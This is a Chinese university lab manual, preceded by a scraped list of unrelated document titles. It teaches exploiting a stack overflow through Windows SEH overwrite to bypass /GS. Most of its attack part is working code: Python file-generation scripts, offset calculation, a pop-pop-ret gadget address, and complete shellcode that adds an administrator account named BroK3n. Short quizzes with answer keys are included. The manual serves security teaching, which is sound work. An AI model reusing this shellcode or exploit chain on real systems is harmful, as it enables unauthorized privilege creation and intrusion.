实验指导书

Similar documents
实验指导书

实验指导书

实验指导书

#!/usr/bin/python -w filename="evil.plf" buffer = "A"*2000 textfile = open(filename, 'w') textfile.write(buffer) textfile.close() 创建 plf 文件, 用 immunit

ROP_bamboofox.key

Microsoft PowerPoint - plan06.ppt

chp6.ppt

上面的介绍会使我们的漏洞利用更清晰. 再次说明这篇教程不会覆盖所有的系列, 你还需要 做更多的研究. 好吧, 开始我们的旅途! 重现崩溃 是时候崩溃了 "Triologic Media Player 8". 这将是另一个文件格式的漏洞. 下面是 POC 和崩溃的截图, 你只需载入 evil.m3u

Microsoft Word - 把时间当作朋友(2011第3版)3.0.b.06.doc

一 学 校 基 本 情 况 目 录 二 部 门 预 算 报 表 ( 一 ) 收 支 总 表 ( 二 ) 收 入 总 表 ( 三 ) 支 出 总 表 ( 四 ) 财 政 拨 款 支 出 表 三 部 门 预 算 报 表 说 明 ( 一 ) 收 支 总 表 说 明 ( 二 ) 收 入 总 表 说 明 (

目 录 一 学 校 基 本 情 况 二 2016 年 预 算 报 表 ( 一 ) 中 南 大 学 收 支 预 算 总 表 ( 二 ) 中 南 大 学 收 入 预 算 表 ( 三 ) 中 南 大 学 支 出 预 算 表 ( 四 ) 中 南 大 学 财 政 拨 款 支 出 预 算 表 三 2016 年

信息参考

Microsoft Word - 15dbtb007

1








Microsoft Word - 把时间当作朋友(2011第3版)3.0.b.07.doc

untitled

/ / (FC 3)...

个 小 小 的 乡 下 人 木 匠 的 儿 子, 竟 然 有 这 么 大 的 力 量 其 实 就 是 这 点, 祂 活 出 来 的 那 种 爱, 是 世 界 上 没 有 的 祂 活 出 来 的 爱 是 世 界 上 的 人 都 需 要 的, 但 却 是 人 人 在 这 个 世 界 上 都 得 不 到

2013年度西藏自治区教育厅

實用文格式大全.doc

薛 秦 高 继 宁 宋 明 锁 文 洪 梁 瑞 敏 贾 跃 进 内 蒙 古 自 治 区 (3 人 ) 琪 格 其 图 米 子 良 赵 震 生 辽 宁 省 (8 人 ) 田 素 琴 白 凤 鸣 肖 瑞 崇 黄 恩 申 白 长 川 杨 世 勇 李 敬 林 王 秀 云 吉 林 省 (5 人 ) 赵 继 福

new_born_with_EB

1 重 要 提 示 基 金 管 理 人 的 董 事 会 及 董 事 保 证 本 报 告 所 载 资 料 不 存 在 虚 假 记 载 误 导 性 陈 述 或 重 大 遗 漏, 并 对 其 内 容 的 真 实 性 准 确 性 和 完 整 性 承 担 个 别 及 连 带 责 任 基 金 托 管 人 中 国

WinMDI 28

A Preliminary Implementation of Linux Kernel Virus and Process Hiding

今天 年春季号 总 92 期

*

( ) / / / / / / /

(Microsoft Word - 8\244T\244\362\277\337\272]\244W\265L\246W.doc)

Microsoft Word - 專家本色 doc


但, 你 应 该 听 过 我 们 走 在 大 路 上 这 首 歌, 或 许 还 知 道 革 命 人 永 远 是 年 轻 那 支 歌 ; 并 且, 几 乎 可 以 肯 定, 你 在 戴 红 领 巾 的 那 阵, 必 然 唱 过 牛 儿 还 在 山 坡 吃 草, 放 牛 的 却 不 知 道 哪 儿 去

2 临 终 助 念 答 问 序 临 终 关 怀, 由 佛 门 净 宗 古 来 祖 师 大 德 提 倡 助 念 往 生, 现 今 已 渐 为 社 会 大 众 所 重 视, 在 台 湾, 台 大 长 庚 等 各 大 医 院, 也 都 设 有 助 念 室 ; 大 陆 上 许 多 道 场, 也 有 专 为

校园之星

<4D F736F F F696E74202D FA8BEA861B8EAB7BDBEE3A658BB50C0B3A5CE28B773A6CBA5AB29>


之 原 則 及 國 防 部 訂 頒 國 軍 列 管 國 有 不 動 產 提 供 非 軍 方 單 位 使 用 處 理 原 則 規 定 不 符, 仍 應 以 出 租 方 式 辦 理 惟 可 就 偏 遠 地 區 提 供 官 兵 金 融 水 電 服 務 使 用 部 分, 研 議 降 低 租 金 標 準, 報

chineseall

釋禪波羅蜜次第法門

证券代码: 证券简称:锦江股份 公告编号:【】

1700 装 卸 搬 运 7645 装 卸 搬 运 服 务 2100 建 筑 7410 工 程 服 务 11% 装 卸 搬 运 服 务, 是 指 使 用 装 卸 搬 运 工 具 或 者 人 力 畜 力 将 货 物 在 运 输 工 具 之 间 装 卸 现 场 之 间 或 者 运 输 工 具 与 装 卸

前 言 教 育 无 小 事, 它 成 就 着 学 生 的 未 来 作 为 教 师, 他 们 无 时 无 刻 不 在 关 注 着 学 生 的 成 长 学 生 的 未 来 学 生 就 像 一 朵 含 苞 待 放 的 花 朵, 需 要 老 师 们 的 细 心 呵 护, 给 学 生 需 要 的 东 西, 而

《盗墓笔记》 南派三叔/著

<CFFBB7D1D5DFD0D0CEAAD1A72E6D7073>

独立学院建设与发展


Microsoft Word - 澎湖田調報告-宏達組9804.doc

平 凡 足 迹 李 本 川 作 者 为 中 国 科 学 院 海 洋 研 究 所 研 究 员,1935 年 生, 山 东 荣 成 人 我 今 年 63 岁 了 大 前 年 丈 夫 和 儿 子 在 一 个 月 内 先 后 离 开 了 人 世, 女 儿 又 已 出 嫁, 现 在 是 孑 然 一 身 我 是

Microsoft Word - 1-3陳詠琳-近代..

cve Wireshark 溢出漏洞分析及利用代码的分析 Wireshark 是一款非常流行的网络封包分析软件. 其方便性, 开源性和跨平台性和可扩 展性, 导至其有很广大的使用人群, 尤其做网络相关开发工作的程序员. 现在我们要分析的 Cve 这个漏洞是在对

经 济 高 速 增 长 和 其 后 又 比 其 他 发 达 资 本 主 义 国 家 更 为 顺 利 地 克 服 了 石 油 危 机 的 冲 击, 使 日 本 的 市 场 经 济 体 制 在 7 0 ~ 8 0 年 代 赢 得 了 国 际 社 会 的 广 泛 赞 誉 ( 其 间 虽 有 欧 美 国 家

2015 TB-1-06.indd

<4D F736F F D20CCABB1A3CAD9A3A A3A BAC5B8BDBCFE3836CAC0BCCDD0D0C8CBC9EDD2E2CDE2C9CBBAA6B1A3CFD5A3A843BFEEA3A9CCF5BFEE2E646F63>

Microsoft Word 箕æ−¥ï¼‹å®ı稿;

98年度即測即評學科測試與即測即評即發證技術士技能檢定簡章

中 的 问 题, 提 出 了 加 快 浦 口 资 本 市 场 发 展 的 对 策 建 议, 从 利 用 资 本 市 场 推 动 产 业 结 构 调 整, 转 变 经 济 发 展 方 式 的 视 角, 对 此 问 题 作 了 一 些 探 索 和 思 考 一 浦 口 产 业 结 构 调 整 的 路 径

格式化字符串 Weifeng Sun School of Software, DLUT

年 中 央 国 家 机 关 政 府 采 购 中 心 网 上 竞 价 品 目 表 中 央 国 家 机 关 政 府 采 购 中 心 2016 年 7 月 21 日 - 2 -

int *p int a 0x00C7 0x00C7 0x00C int I[2], *pi = &I[0]; pi++; char C[2], *pc = &C[0]; pc++; float F[2], *pf = &F[0]; pf++;

IDEO_HCD_0716

untitled

經 整 理 的 訪 談 詳 情 個 案 001 年 齡 性 別 居 住 地 區 空 間 類 型 樓 齡 身 分 狀 況 住 戶 族 群 家 庭 結 構 家 庭 人 數 68 男 深 水 埗 私 人 住 孛 單 位 18 住 所 業 主 本 地 居 民 父 母 及 未 婚 子 女 3 訪 問 日 期

目 录 软 件 概 述 软 件 用 途 软 件 运 行 系 统 配 置... 3 使 用 入 门 软 件 登 录 与 退 出 页 面 介 绍... 6 组 别 账 号 编 辑 组 别 编 辑.

ebook66-24

範本檔

NOWOER.OM m/n m/=n m/n m%=n m%n m%=n m%n m/=n 4. enum string x1, x2, x3=10, x4, x5, x; 函数外部问 x 等于什么? 随机值 5. unsigned char *p1; unsigned long *p

Fun Time (1) What happens in memory? 1 i n t i ; 2 s h o r t j ; 3 double k ; 4 char c = a ; 5 i = 3; j = 2; 6 k = i j ; H.-T. Lin (NTU CSIE) Referenc

, 7, Windows,,,, : ,,,, ;,, ( CIP) /,,. : ;, ( 21 ) ISBN : -. TP CIP ( 2005) 1


Slide 1

untitled

《linux从入门到精通》实验指导第三讲:文件及目录操作

第5章修改稿

提纲 1 2 OS Examples for 3

《C语言程序设计》教材习题参考答案

计算机网络实验说明

第二場

按 系 统 提 示 完 成 安 装 并 生 成 交 易 图 标, 双 击 图 标 即 可 运 行 金 阳 光 独 立 委 托 系 统 通 讯 设 置 按 钮 中 行 情 地 址 交 易 地 址 高 级 设 置, 其 中 行 情 地 址 交 易 地 址 可 以 分 别 用 来 设 置 服 务 器 地

SCI / /21 (ÿ) (ÿÿ : (ÿÿ (ÿÿ (ÿÿ (ÿÿ (ÿÿ

使用!pvefindaddr 更容易的开发漏洞利用

_汪_文前新ok[3.1].doc

ARM JTAG实时仿真器安装使用指南

"\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf" "\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93" "\x99\x1c\x3d\x27\xef\x8

<4D F736F F D20B2C43139A9A1BAFBACFCBCFAA44ABFEFBCFAA657B3E62E646F63>

epub 33-8

! " # $ % & (( %) "*+,- &.(/-) & ( 0 & 1! % " % # % & & $ % "/()%!"# (( (02-03 /(((.1/.2( 4 //). /$0 3)0%. /1/%-2 (( ) / ((0 // "*+,- &.(/-) & ( 0 & 1

SP_ SP_03 JAVA...6 SP_10 SQL...8 SP_ SP_ SP_ SP_ SP_ SP_ SP_ SP_04.NET...33 SP_02 C...37 SP_05

校园之星

C 1

目 录 序 言... 1 第 一 部 分 学 位 授 权 审 核 网 上 服 务 系 统 操 作 说 明 用 户 登 录 设 置 公 示 时 间 查 看 各 省 市 公 示 材 料 查 看 自 审 单 位 公 示 材 料... 3 第 二 部

gta 5 serial key number pciker

Microsoft PowerPoint - 从漏洞到利用代码为Metasploit写_cn.ppt

<4D F736F F D20CAB5D1E9CAD2B9DCC0EDC6BDCCA856342E315FD1A7C9FAD3C3BBA7B2D9D7F7D6B8C4CF2E646F63>

Transcription:

从零开始学习软件漏洞挖掘系列教程第三篇 : 利用 SEH 机制 Exploit it 1 实验简介 实验所属系列 : 系统安全 实验对象 : 本科 / 专科网络 / 信息安全专业 相关课程及专业 : 计算机网络, 信息安全 实验时数 ( 学分 ):2 学时 实验类别 : 实践实验类 2 实验目的 在传统的缓冲区溢出中, 我们可以通过覆盖返回地址以跳转到 shellcode 但并不是所有的溢出都是那么简单的 比如当程序有 GS 保护的情况下, 我们不能直接覆盖返回地址 今天, 我们将看到另一种使用异常处理机制的漏洞利用技术 该技术可以绕过 GS 的保护 通过该实验我们了解覆盖 SEH 绕过 GS 的漏洞利用技术 3 预备知识 1. 关于程序异常处理的一些基础知识什么是异常处理例程? 一个异常处理例程是内嵌在程序中的一段代码, 用来处理在程序中抛出的异常 一个典型的异常处理例程如下所示 : try { //run stuff. If an exception occurs, go to code } catch { // run stuff when exception occurs } Windows 中有一个默认的 SEH( 结构化异常处理例程 ) 捕捉异常 如果 Windows 捕捉到了一个异常, 你会看到 XXX 遇到问题需要关闭 的弹窗 这通常是默认异常处理的结果 很明显, 为了编写健壮的软件, 开发人员应该要用开发语言指定异常处理例程, 并且把 Windows 的默认 SEH 作为最终的异常处理手段 当使用语言式的异常处理 ( 如 :try...catch), 必须要按照底层的操作系统生成异常处理例程代码的链接和调用 ( 如果没有一个异常处理例程被调用或有效的异常处理例程无法处理异常, 那么 Windows SEH

将被使用 (UnhandledExceptionFilter)) 所以当执行一个错误或非法指令时, 程序将有机会来处理这个异常和做些什么 如果没指定异常处理例程的话, 那么操作系统将接管异常和弹窗, 并询问是否要把错误报告发送给 MS 异常处理包括两个结构 Pointer to next SHE record 指向下一个异常处理 Pointer to Exception Handler 指向异常处理函数 4 实验环境 服务器 :Windows 7 SP1,IP 地址 : 随机分配 辅助工具 :Windbg,ImmunityDebugger,python2.7,mona.py Windbg 是在 windows 平台下, 强大的用户态和内核态调试工具 Immunity Debugger 软件专门用于加速漏洞利用程序的开发, 辅助漏洞挖掘以及恶意软件分析 python 是一种面向对象 解释型计算机程序设计语言 mona.py 是由 corelan team 整合的一个可以自动构造 Rop Chain 而且集成了 metasploit 计算偏移量功能的强大挖洞辅助插件 注 本实验成功与否与实验环境, 工具等相关 5 实验步骤 首先我们对目标程序进行尝试溢出, 看看是否能够覆盖到 SEH, 然后计算多少个字符可以覆盖到到 SEH, 寻找合适的 POP POP RETN 序列和 SHELLCODE 构造我们的 Exploit 我们的任务分为 3 个部分 : 1. 尝试溢出 2. 定位溢出点

3. 构造利用 5.1 实验任务一 前言下面是我写的有漏洞程序的源码 //by www.netfairy.net #include<windows.h> #include<string.h> #include<stdio.h> void test(char *str) { char buf[8]; strcpy(buf,str); } int main() { FILE *fp; int i; char str[30000]; LoadLibrary("C:\\Netfairy.dll"); if((fp=fopen("c:\\test.txt","r"))==null) { printf("\nfile can not open!"); getchar(); exit(0); } for(i=0;;i++) { if(!feof(fp)) { str[i]=fgetc(fp);

} else { break; } } test(str); fclose(fp); getchar(); return 0; } 注 本有漏洞的程序名为 test.exe, 在 C 盘下可以找到. 任务描述 : 使用恶意构造的文件溢出目标程序并计算溢出点当我们拿到一个软件, 正常情况下, 我们先试试能不能溢出利用它 利用下面 python 代码试试 filename="c:\\test.txt"# 待写入的文件名 myfile=open(filename,'w') # 以写方式打开文件 filedata="a"*50000 # 待写入的数据 myfile.write(filedata) # 写入数据 myfile.close() # 关闭文件 这里产生 50000 个 A, 运行这 python 代码, 在 C 盘下会产生 5000 个 A 组成的 test.txt 文件 然后用 windbg 打开程序, 执行命令 g, 可以看到,windbg 捕获到了异常, 再用! exchain 查看 SEH 链

我们利用超长字符串成功覆盖了 SEH 接下来就是定位溢出点了, 也就是多少个字符可以覆盖到 SEH. 首先我们用 ImmunityDebugger 的 mona.py 插件产生 50000 个随机字符!mona pc 50000

然后把找到 patttern.txt 这个文件, 把选中的内容去掉 网络精灵 www.netfairy.net

改名为 test.txt 替换原 C 盘下的 test.txt 文件 然后再次用 windbg 打开我们的 test.exe 程 序, 输入命令 g 运行崩溃, 在输入!exchain 查看异常处理链, 如下图 可以看到 Pointer to next SHE record 被覆盖为 0x356e4d34, 也就是字符串 5nM4 因为因 为这是小序存放, 所以反过来就是 4Mn5 我们打开 ImmunityDebugger 在命令行输入!mona pattern_offset 4Mn5 由上图可知我们可以知道 4Mn5 出现在 9764 位置, 所以理论上我们填充 9764 个字符就可以覆盖到 Pointer to next SHE record 了, 但是我最了一下测试发现 9764 个字符没有覆盖到 Pointer to next SHE record 难道我们计算有错? 其实不是的, 我们刚才产生了 50000 个随机字符对吧? 我发现这 50000 个字符每隔 20280 就循环一次, 所以我们需要覆盖 9764 +20280 个字符才可以覆盖到 Pointer to next SEH record, 因此我们把前面的 python 代码改成下面这样 filename="c:\\test.txt"# 待写入的文件名 myfile=open(filename,'w') # 以写方式打开文件

filedata="a"*30044 # 待写入的数据 myfile.write(filedata) # 写入数据 myfile.close() # 关闭文件 重新产生 test.txt 文件, 然后用 ImmunityDebugger 打开 test.exe 程序并运行, 程序出现异常, 此时看 0x18ff78 这个地址, 我们发现 AAAAAA 还差 20 个字符覆盖到 Pointer to next SHE record 因此我们把前面的 python 代码的这句 filedata="a"*30044 # 待写入的数据改成 filedata="a"*30064 # 待写入的数据 再次用 ImmunityDebugger 运行 test.exe

可以看到刚好能覆盖到地址 0x18ff78, 也就是 Pointer to next SHE record ok, 定位完成 注 本实验与环境关系很大, 可能你做的跟我的不完全一样, 大家随机应变 学会思路就 行 5.1.1. 练习 关于覆盖 SEH, 下列说法正确的是是? 单选题 A 我们可以覆盖 SHE 那么一定也可以覆盖返回地址并利用 B 覆盖 SEH 中我们只需要覆盖 Pointer to next SEH record C 如果程序没有写异常处理那么就不能利用 SEH

D 需要用 POP POP RETN 序列的地址覆盖 Pointer to Exception Handler 答案 :D 5.2 实验任务二 任务描述 : 构造我们的利用代码 1 由前面可知我们填充 30044 个字符就可以覆盖到 Pointer to next SHE record seh 利用的格式是 30064 填充物 + "\xeb\x06\x90\x90" +pop pop retn 指令序列地址 +shellcode 我这里给出一个在 Windows 7 64 位 sp1 下可用的 shellcode // 添加用户 shellcode "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\ "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\ "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\ "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\ "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\ "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\ "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\ "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\ "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\ "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\ "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\ "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\ "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"

还差 pop pop retn 序列就行了, 其实我觉得最难的就是找 pop pop retn 序列, 如果在 xp 下倒不是什么问题,win7 以上微软加入了各种安全保护措施, 如 safeseh 这就是为什么前面程序代码中我加入了 LoadLibrary("C:\\Netfairy.dll"); 因为系统的 dll 基本上都有 safeseh, 所以我们需要找到一个没有 safeseh 的模块, 它就是 Netfairy.dll, 并且这个模块有 pop pop retn 序列 下面说下怎么在 Netfairy.dll 查找 pop pop retn 首先用 ImmunityDebugger 载入 test.exe 程序并运行, 出现异常后点工具栏的按 Atl+M 哈哈, 看到我们的 netfairy.dll 模块了吧, 然后

看到了吧,0x50021344 有我们想要的 pop pop retn 序列 50021344 5E POP ESI 50021345 5B POP EBX 50021346 C3 RETN 所以, 完整的 exploit 是这样 filename="c:\\test.txt"# 待写入的文件名 myfile=open(filename,'w') # 以写方式打开文件 filedata="a"*30044+"\xeb\x06\x90\x90"+"\x44\x13\x02\x50"+\ "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\ "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\ "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\ "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\

"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\ "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\ "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\ "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\ "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\ "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\ "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\ "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\ 据 "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7" # 待写入的数 myfile.write(filedata) # 写入数据 myfile.close() # 关闭文件 运行这段 python 代码, 然后用 ImmunityDebugger 打开 test.exe 程序并运行 Perfect!!! 我们看到了 Pointer to Exception Handler 成被覆盖为 50021344, 还有我们 的 shellcode 然而, 先高兴太早, 请你先仔细看

我数了一下我的 shellcode 长度是是 194 个字节, 你再计算 Pointer to Exception Handler 后到最底下, 少于 194 字节对不? 那就说明我们的 shellcode 被截断了 缓冲区太短了, 我们的 shellcode 放不下 那怎么办, 换个短到合适的 shelocode? 但是我手头没有, 于是, 想到了跳转, 没错 前面我们不是填充了 30064 个 A 吗? 那里有大把的空间啊, 我们为何不把 shellcode 放在那里? 我们可以在 Pointer to next SHE record 放一个往前跳的指令, 就可以跳到我们的 shellcode 了, 我附上我的 POC filename="c:\\test.txt"# 待写入的文件名 myfile=open(filename,'w') # 以写方式打开文件 filedata="a"*29770+"\x90"*100+"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\ x8b\x52\x1c\x8b\x42"\ "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\ "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\ "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"\ "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"\ "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"\ "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"\

"\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"\ "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"\ "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"\ "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"\ "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"\ "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"+\ "\xeb\x06\x90\x90"+"\x44\x13\x02\x50"\ "\xe9\x03\xff\xff\xff" #00 18FF80 E9 03FFFFFF JMP 0018FE88 myfile.write(filedata) # 写入数据 myfile.close() # 关闭文件 先运行这段 python 代码, 然后运行目标程序, 打开 dos 窗口, 输入 net user 看看 可见成功添加名为 BroK3n 的用户溢出成功, 执行了我们的 shellcode, 漏洞利用成功

5.2.1. 练习 以下说法不正确的是 : 单选题 A 如果 POP POP RETN 模块有 safeseh, 那么将不能利用成功 B 覆盖 Pointer to next SHE record 的 EB 06 90 90 是作为跳到 shellcode 的跳板 C shellcode 只能布置在 Pointer to Exception Handler 后面 D shellcode 不能出现 \00 和其他坏字符 答案 :C 6 实验报告要求 参考实验原理与相关介绍, 完成实验任务, 并对实验结果进行分析, 完成思考题目, 总结实验的心得体会, 并提出实验的改进意见 7 分析与思考 1) 很多时候我们会选着覆盖返回地址加以利用, 但是现在的操作系统引入了各种保护措施, 使得利用更加困难 比如 GS 可以成功挫败很多基于覆盖返回地址的利用 2) 关于覆盖 SEH 微软也有相应的防护措施, 如 safeseh 但是其中也有绕过的办法, 在特定的情况下还是可以利用成功 8 参考 网络精灵 www.netfairy.net